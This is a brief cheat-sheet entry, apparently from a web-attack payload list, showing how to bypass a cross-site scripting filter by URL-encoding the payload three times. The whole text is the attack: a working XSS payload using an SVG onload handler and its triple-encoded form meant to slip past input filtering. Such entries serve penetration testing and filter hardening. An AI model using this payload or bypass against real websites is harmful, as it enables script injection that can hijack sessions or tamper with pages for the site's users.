Cross Site Scripting Triple URL Encoding Encode the payload thrice using URL encoding. Restricted: "><svg onload=confirm(‘XSS’)> Bypassed: %252522%25253E%25253Csvg%252520onload%25253Dconfirm%252528%2525E2%252580%252598XSS%2525E2%252580%252599%252529%25253E